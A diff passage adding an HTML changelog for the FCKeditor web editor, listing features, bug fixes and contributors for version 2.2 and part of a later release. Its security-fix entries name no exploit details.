+               <li>The GeckoUseSPAN setting is now set to "false" by default. In this way, the code
+                       produced by the bold, italic and underline commands are the same on all browsers.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li><strong>Important security fixes have been applied to the File Manager, Uploader
+                       and Connectors. Upgrade is highly recommended.</strong> Thanks to Alberto Moro,
+                       Baudouin Lamourere and James Bercegay.</li><li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1399966&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1399966</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1249853&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1249853</a>] The &quot;BaseHref&quot; configuration is now working with
+                               Firefox in both normal and full page modes.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1405263&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1405263</a>] A typo in the configuration file was impacting the Quick Upload
+                       feature. </li>
+               <li>Nested &lt;ul&gt; and &lt;ol&gt; tags are now generating valid html.</li>
+               <li>The &quot;wmode&quot; and &quot;quality&quot; attributes are now preserved for Flash
+                       embed tags, in case they are entered manually in the source view. Also, empty attributes
+                       are removed from that tag. </li>
+               <li>Tables where not being created correctly on Opera. </li>
+               <li>The XHTML processor will ignore invalid tags with names ending with &quot;:&quot;,
+                       like http:. </li>
+               <li><span>On Firefox, the scrollbar is not anymore displayed on toolbar dropdown commands
+                       when not needed.</span> </li>
+               <li><span>Some small fixes have being done to the dropdown commands rendering for FF</span>.
+               </li>
+               <li>The table dialog window has been a little bit enlarged to avoid contents being cropped
+                       on some languages, like Russian. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1465203&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1465203</a>] The ieSpell download URL has been updated. The problem is that
+                       they don't have a fixed URL for it, so let's hope the mirror will be up for it.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1456332&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1456332</a>] Small fix in the Spanish language file. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1457078&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1457078</a>] The File Manager was generating 404 calls in the server. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1459846&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1459846</a>] Fixed a problem with the config file if PHP is set to parse .js
+                       files. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1432120&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1432120</a>] The &quot;UserFilesAbsolutePath&quot; setting is not correctly
+                       used in the PHP uploader. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1432120&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1408869</a>] The collapse handler is now rendering correctly in Firefox 1.5.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1410082&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1410082</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1424240&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1424240</a>] The &quot;moz-bindings.xml&quot; file is now well formed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1413980&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1413980</a>] All frameborder &quot;yes/no&quot; values have been changes to
+                       &quot;1/0&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1414101&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1414101</a>] The fake table borders are now showing correctly when running under
+                       the &quot;file://&quot; protocol. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1414155&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1414155</a>] Small typo in the cell properties dialog window.</li>
+               <li>Fixed a problem in the File Manager. It was not working well with folder or file
+                       names with apostrophes ('). Thanks to René de Jong.</li>
+               <li>Small "lenght" type corrected in the select dialog window. Thanks to Bernd Nussbaumer.</li>
+               <li>The about box is now showing correctly in Firefox 1.5.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1464020&group_id=75348&atid=543655">SF
+                       Patch-1464020</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1155793&group_id=75348&atid=543653">SF
+                               BUG-1155793</a>] The "Unlink" command is now working correctly under Firefox
+                       if you don't have a complete link selection. Thanks to Johnny Egeland.</li>
+               <li>In the File Manager, it was not possible to upload files to folders with ampersands
+                       in the name. Thanks to Mike Pone.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1178359&group_id=75348&atid=543653">SF
+                       BUG-1178359</a>] Elements from the toolbar are not anymore draggable in the editing
+                       area.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1487544&group_id=75348&atid=543653">SF
+                       BUG-1487544</a>] Fixed a small issue in the code formatter for &lt;br /&gt; and
+                       &lt;hr /&gt; tags.</li>
+               <li>The "Background Color" command now works correctly when the GeckoUseSPAN setting
+                       is disabled (default).</li>
+               <li>Links are now rendered in blue with Firefox (they were black before). Actually,
+                       an entry for it has been added to the editing area CSS, so you can customize with
+                       the color you prefer. </li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.footsteps.nl/">Footsteps</a>
+               and <a href="http://www.kentico.com/">Kentico</a>.
+               <br />
+               ** This version has been partially sponsored by <a href="http://www.nextide.ca/">Nextide</a>.</p>
+       <h3>
+               Version 2.2</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>Let's welcome Wim Lemmens (didgiman). He's our new responsible for the ColdFusion
+                       integration. In this version we are introducing his new files with the following
+                       changes:
+                       <ul>
+                               <li>The &quot;<strong>Uploader</strong>&quot;, used for quick uploads,&nbsp;is now available
+                                       <strong>natively for ColdFusion</strong>. </li>
+                               <li>Small bugs have been corrected in the <strong>File Browser connector</strong>. </li>
+                               <li>The samples now work as is, even if you don't install the editor in the &quot;/FCKeditor&quot;
+                                       directory.</li>
+                       </ul>
+               </li>
+               <li>And a big welcome also to &quot;Andrew Liu&quot;, our responsible for the <strong>
+                       Python</strong> integration. This version is bringing <strong>native support for Python</strong>
+                       , including the File Browser connector and Quick Upload. </li>
+               <li>The &quot;<strong>IsDirty()</strong>&quot; and &quot;<strong>ResetIsDirty()</strong>&quot;
+                       functions have been&nbsp;added to the&nbsp;JavaScript API&nbsp;to check if the editor
+                       content has been changed.* </li>
+               <li>New language files:
+                       <ul>
+                               <li><strong>Hindi</strong> (by Utkarshraj Atmaram) </li>
+                               <li><strong>Latvian </strong>(by Janis Klavin&scaron;)</li>
+                       </ul>
+               </li>
+               <li>For&nbsp;the interface, now we have complete <strong>RTL support</strong> also for
+                       the drop-down toolbar commands, color selectors and context menu. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1325113&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1325113</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1277661&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1277661</a>] The new &quot;Delete Table&quot; command is available in the
+                       Context Menu when right-clicking inside a table. </li>
+               <li>The &quot;FCKConfig.DisableTableHandles&quot; configuration option is now working
+                       on Firefox 1.5. </li>
+               <li>The new &quot;<strong>OnBlur</strong>&quot; and &quot;<strong>OnFocus</strong>&quot;
+                       events have been added to the JavaScript API (IE only). See&nbsp;&quot;_samples/html/sample09.html&quot;&nbsp;*
+               </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>GetHTML</strong>&quot;
+                       function has been deprecated. It now returns the same value as &quot;<strong>GetXHTML</strong>&quot;.
+                       The same is valid for the &quot;EnableXHTML&quot; and &quot;EnableSourceXHTML&quot;
+                       that have no effects now. The editor now works with XHTML output only. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: A new &quot;<strong>PreserveSessionOnFileBrowser</strong>&quot;
+                       configuration option has been introduced. It makes it possible to set whenever is
+                       needed to maintain the user session in the File Browser. It is disabled by default,
+                       as it has very specific usage and may cause the File Browser to be blocked by popup
+                       blockers. If you have custom File Browsers that depends on session information,
+                       remember to activate it. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>fun</strong>&quot;
+                       smileys set has been removed from the package. If you are using it, you must manually
+                       copy it to newer installations and upgrades. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>mcpuk</strong>&quot;
+                       file browser has been removed from the package. We have no ways to support it. There
+                       were also some licensing issues with it. Its web site can still be found at <a href="http://mcpuk.net/fbxp/">
+                               http://mcpuk.net/fbxp/</a>. </li>
+               <li>It is now possible to set different CSS styles for the chars in the Special Chars
+                       dialog window by adding the &quot;SpecialCharsOut&quot; and &quot;SpecialCharsOver&quot;
+                       in the &quot;fck_dialog.css&quot; skin file.* </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1268726&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1268726</a>] Added table &quot;summary&quot; support in the table dialog.
+                       Thanks to Sebastien-Mahe. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1284380&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1284380</a>] It is now possible to define the icon of a FCKToolbarPanelButton
+                       object without being tied to the skin path (just like FCKToolbarButton). Thanks
+                       to Ian Sullivan. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1338610&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1338610</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1263009&amp;group_id=75348&amp;atid=543656">SF
+                               Patch-1263009</a>] New characters have been added to the &quot;Special Characters&quot;
+                       dialog window. Thanks to Deian. </li>
+               <li>You can set the QueryString value &quot;fckdebug=true&quot; to activate &quot;debug
+                       mode&quot; in the editor (showing the debug window), overriding the configurations.
+                       The &quot;AllowQueryStringDebug&quot; configuration option is also available so
+                       you can disable this feature.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1363548&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1363548</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1364425&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1364425</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1335045&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1335045</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289661&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1289661</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225370&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1225370</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156291&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1156291</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1165914&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1165914</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1111877&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1111877</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092373&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1092373</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101596&amp;group_id=75348&amp;atid=543653">SF
+                                                                                               BUG-1101596</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1246952&amp;group_id=75348&amp;atid=543653">SF
+                                                                                                       BUG-1246952</a>] The URLs for links and
+                       images are now correctly preserved as entered, no matter if you are using relative
+                       or absolute paths. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162809&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162809</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1205638&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1205638</a>] The &quot;Image&quot; and &quot;Flash&quot;&nbsp;dialog windows
+                       now loads the preview correctly if the &quot;BaseHref&quot; configuration option
+                       is set. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1329807&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1329807</a>] The alert boxes are now showing correctly when doing cut/copy/paste
+                       operations on Firefox installations when it is not possible to execute that operations
+                       due to security settings. </li>
+               <li>A new &quot;Panel&quot; system (used in the drop-dowm toolbar commands, color selectors
+                       and context menu) has been developed. The following bugs have been fixed with it:
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1186927&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1186927</a>] On IE, sometimes the context menu was being partially hidden.*
+                               </li>
+                               <li>On Firefox, the context menu was flashing in the wrong position before showing.
+                               </li>
+                               <li>On Firefox 1.5, the Color Selector was not working. </li>
+                               <li>On Firefox 1.5, the fonts in the panels were too big. </li>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076435&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1076435</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1200631&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1200631</a>] On Firefox, sometimes the context menu was being shown in the
+                                       wrong position.</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1364094&amp;group_id=75348">SF
+                       BUG-1364094</a>] Font families were <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=317572">
+                               not being rendered correctly on Firefox</a> . </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1315954&amp;group_id=75348">SF
+                       BUG-1315954</a>] No error is thrown when pasting some case specific code from editor
+                       to editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1341553&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1341553</a>] A small fix for a security alert in the File&nbsp;Browser has been
+                       applied. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1370953&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1370953</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1339898&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1339898</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1323319&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1323319</a>] A message will be shown to the user (instead of a JS error)&nbsp;if
+                       a &quot;popup blocker&quot; blocks the &quot;Browser Server&quot; button. Thanks
+                       to Erwin Verdonk. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1370355&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1370355</a>] Anchor links that points to a single character anchor, like &quot;#A&quot;,
+                       are now correctly detected in the Link dialog window. Thanks to Ricky Casey. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1368998&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1368998</a>] Custom error processing has been added to the file upload on the
+                       File Browser. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1367802&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1367802</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1207740&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1207740</a>] A message is shown to the user if a dialog box is blocked by
+                       a popup blocker in Firefox. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1358891&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1358891</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1340960&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1340960</a>] The editor not works locally (without a web server) on directories
+                       where the path contains spaces. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1357247&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1357247</a>] The editor now intercepts SHIFT + INS keystrokes when needed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1328488&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1328488</a>] <strong><font color="#ff0000">Attention</font></strong>: The Page
+                       Break command now produces different tags&nbsp;to avoid&nbsp;XHTML compatibility
+                       issues. Any Page Break previously applied to content produced with previous versions
+                       of FCKeditor will not me rendered now, even if&nbsp;they will still be working correctly.
+               </li>
+               <li>It is now possible to allow cut/copy/past operations on Firefox using the <a
+                       href="http://kb.mozillazine.org/Granting_JavaScript_access_to_the_clipboard"
+                       target="_blank">user.js</a> file. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1336792&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1336792</a>] A fix has been applied to the XHTML processor to allow tag names
+                       with the &quot;minus&quot; char (-). </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1339560&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1339560</a>] The editor now correctly removes the &quot;selected&quot; option
+                       for checkboxes and radio buttons. </li>
+               <li>The Table dialog box now selects the table correctly when right-clicking on objects
+                       (like images) placed inside the table. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: A few changes have been
+                       made in the skins. If you have a custom skin, it is recommended you to make a diff
+                       of the fck_contextmenu.css file of the default skin with your implementation. </li>
+               <li>Mouse select (marking&nbsp;things in blue, like selecting text) has been disabled
+                       on panels (drop-down menu commands, color selector and context menu) and toolbar,
+                       for both IE and Firefox. </li>
+               <li>On Gecko, fake borders will not be applied to tables with the border attribute set
+                       to more than 0, but placed inside tables with border set to 0. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1360717&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1360717</a>] A wrapping issue in the &quot;Silver&quot; skin has been corrected.
+                       Thanks to Ricky Casey. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1251145&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1251145</a>] In IE, the focus is now maintained in the text when clicking in
+                       the empty area&nbsp;following it. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181386&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181386</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1237791&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1237791</a>] The &quot;Stylesheet Classes&quot; field in the Link dialog
+                       window in now applied correctly on IE. Thanks to Andrew Crowe. </li>
+               <li>The &quot;Past from Word&quot; dialog windows is now showing correctly on Firefox
+                       on some languages. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1315008&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1315008</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1241992&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1241992</a>] IE, when selecting objects (like images) and hitting the &quot;Backspace&quot;
+                       button, the browser's &quot;back&quot; will not get executed anymore and the object
+                       will be correctly deleted. </li>
+               <li>The &quot;AutoDetectPasteFromWord&quot; is now working correctly in IE. Thanks to
+                       Juan Ant. G&oacute;mez. </li>
+               <li>A small enhancement has been made in the Word pasting detection. Thanks to Juan
+                       Ant. G&oacute;mez. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090686&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1090686</a>] No more conflict with Firefox &quot;Type-Ahead Find&quot; feature.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=942653&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-942653</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1155856&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1155856</a>] The &quot;width&quot; and &quot;height&quot; of images sized
+                       using the inline handlers are now correctly loaded in the image dialog box. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1209093&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1209093</a>] When &quot;Full Page Editing&quot; is active, in the &quot;Document
+                       Properties&quot; dialog, the &quot;Browse Server&quot; button for the page background
+                       is now correctly hidden if &quot;ImageBrowser&quot; is set to &quot;false&quot;
+                       in the configurations file. Thanks to Richard. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1120266&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1120266</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1186196&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1186196</a>] The editor now retains the focus when selecting commands in
+                       the toolbar. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1244480&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1244480</a>] The editor now will look first to linked fields &quot;ids&quot;
+                       and&nbsp;second to &quot;names&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1252905&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1252905</a>] The &quot;InsertHtml&quot; function now preserves URLs as entered.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1266317&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1266317</a>] Toolbar commands are not anymore executed outside the editor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1365664&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1365664</a>] The &quot;wrap=virtual&quot; attribute has been removed from the
+                       integration files for validation purposes. No big impact. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=972193&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-972193</a>] Now just one click is needed to active the cursor inside the editor.
+               </li>
+               <li>The hidden fields used by the editor are now protected from changes using the &quot;Web
+                       Developer Add-On &gt; Forms &gt; Display Forms Details&quot; extension. Thanks to
+                       Jean-Marie Griess. </li>
+               <li>On IE, the &quot;Format&quot; toolbar dropdown now reflects the current paragraph
+                       type on IE. Because of a bug in the browser, it is quite dependent on the browser
+                       language and the editor interface language (both must be the same). Also, as the
+                       &quot;Normal (DIV)&quot; type is seen by IE as &quot;Normal&quot;, to avoid confusion,
+                       both types are ignored by this fix. </li>
+               <li>On some very rare cases, IE was loosing the &quot;align&quot; attribute for DIV
+                       tags. Fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1388799&amp;group_id=75348">SF
+                       BUG-1388799</a>] The code formatter was removing spaces on the beginning of lines
+                       inside PRE tags. Fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1387135&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1387135</a>] No more &quot;NaN&quot; values in the image dialog, when changing
+                       the sizes in some situations. </li>
+               <li>Corrected a small type in the table handler. </li>
+               <li>You can now set the &quot;z-index&quot; for floating panels (toolbar dropdowns,
+                       color selectors, context menu) in Firefox, avoiding having them hidden under another
+                       objects. By default it is set to 10,000. Use the FloatingPanelsZIndex configuration
+                       option to change this value.</li>
+       </ul>
+       <p>
+               <strong>Special thanks</strong> to <a target="_blank" href="https://sourceforge.net/users/alfonsoml/">
+                       Alfonso Martinez</a>, who have provided many patches and suggestions for the
+               following features / fixes present in this version. I encourage all you to <a href="https://sourceforge.net/donate/index.php?user_id=1356422">
+                       donate</a> to Alfonso, as a way to say thanks for his nice open source approach.
+               Thanks Alfonso!. Check out his contributions:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1364094&amp;group_id=75348">SF
+                       BUG-1352539</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1208348&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1208348</a>] With Firefox, no more &quot;fake&quot; selections are appearing
+                       when inserting images, tables, special chars or when using the &quot;insertHtml&quot;
+                       function. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543655&amp;aid=1382588&amp;group_id=75348">SF
+                       Patch-1382588</a>] The &quot;FCKConfig.DisableImageHandles&quot; configuration option
+                       is not working on Firefox 1.5. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1368586&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1368586</a>] Some fixes have been applied to the Flash dialog box and the
+                       Flash pre-processor. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1360253&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1360253</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1378782&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1378782</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1305899&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1305899</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1344738&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1344738</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1347808&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1347808</a>] On dialogs, some fields&nbsp;became impossible
+                       to select or change when using Firefox. It has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1357445&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1357445</a>] Add support for DIV in the Format drop-down combo for Firefox.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1350465&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1350465</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1376175&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1376175</a>] The &quot;Cell Properties&quot; dialog now works correctly
+                       when right-clicking in an object (image, for example) placed inside the cell itself.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1349166&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1349166</a>] On IE, there is now support for namespaces on tags names. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1350552&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1350552</a>] Fix the display issue when applying styles on tables. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1352320&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1352320</a> ] Fixed&nbsp;a wrong&nbsp;usage of the &quot;parentElement&quot;
+                       property on Gecko. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1355007&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1355007</a>] The new &quot;FCKDebug.OutputObject&quot; function is available
+                       to dump all object information in the debug window. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1329500&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1329500</a>] It is now possible to delete table columns when clicking on a
+                       TH cell of the column. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1315351&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1315351</a>] It is now possible to pass the image width and height to the
+                       &quot;SetUrl&quot; function of the Flash dialog box. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1327384&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1327384</a>] TH tags are now correctly handled by the source code formatter
+                       and the &quot;FillEmptyBlocks&quot; configuration option. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1327406&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1327406</a>] Fake borders are now displayed for TH elements on tables with
+                       border set to 0. Also, on Firefox, it will now work even if the border attribute
